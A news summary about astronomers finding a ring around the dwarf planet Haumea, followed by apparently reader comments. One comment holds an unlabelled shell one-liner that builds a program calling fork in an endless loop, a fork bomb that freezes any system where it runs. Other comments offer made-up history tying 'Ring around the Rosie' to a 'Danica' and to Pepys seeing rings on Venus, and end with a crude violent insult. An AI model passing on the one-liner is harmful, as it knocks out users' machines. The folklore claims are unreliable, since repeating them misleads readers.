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Scientists Discover Ring Around Dwarf Planet Haumea Beyond Neptune
A ring has been discovered around one of the dwarf planets that orbits the outer reaches of the solar system. Until now, ring-like structures had only been found around the four outer planets -- Jupiter, Saturn, Uranus and Neptune. The Guardian reports: "In 2014 we discovered that a very small body in the Centaurs region [an area of small celestial bodies between the asteroid belt and Neptune] had a ring and at that time it seemed to be a very weird thing," explained Dr Jose Ortiz, whose group at the Instituto de Astrofisica de Andalucia in Granada made the discovery described in the journal Nature. "We didn't expect to find a ring around Haumea, but we were not too surprised either." Haumea was recognized by the International Astronomical Union in 2008 and is one of five dwarf planets, alongside Pluto, Ceres, Eris and Makemake. They are located beyond Neptune -- 50 times farther away from the sun than Earth. Haumea, named after the Hawaiian goddess of childbirth, is unusual because of its elongated shape, comparable to a rugby ball, and its rapid rotation, spinning around once every 3.9 hours. Its diameter is approximately a third of the size of Earth's moon.
Oh I dunno.
You can make a case for Trek being very racist. All Vulcans are logical and inscrutable and a bit uptight. All Klingons are aggressive and warlike.
Ferengi look and act like a Nazi caricature of Jews.
I.e. in each case races have a well defined trait and all examples of that race seem to share. So I could see why someone who thinks that racial traits dominate over individual ones would like Trek even if Roddenberry would have been appalled by this.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You have to admit, Rings around Haumea beats Rings around Uranus, if only for not being perceived as scatological.
"My child, my child, Haumea you be?"
"O father, it fares ill with me."
Ring-a-round the rosie,
A pocket full of posies,
Ashes! Ashes!
We all fall down!
The original Rosie of course is not a plant or a rash. "Rosie" refers to the Morning Star, the Danica. Danica is a very old word, with much unreligious meaning. Only fairly late did Danica get confused with Venus, the erstwhile Goddess. Danicas have nothing to do with petty religions; there is even a Danica on the California State Flag. There are Danicas on the Soviet Flags, and recently on Islam-related Flags as well.
Danicas have deep and old meaning, too often co-opted.
During the London Plague of 1665, when the burning of victims and of the City clouded the early morning skies, the ascendant Morning Venus was observed as having Rings, (Pepys). Rings around the Rosie.
Well then, my Country, this Wine Country of California, has Venus, that is to say Danica, high in the early Morning sky. It may not be visible this morning because of all the smoke, but if it is... ...will it have Rings?
Ashes! Ashes!
We all fall down!
(Oh, it must be said, screw Trump with a Pineapple up his ass, with the pin pulled.)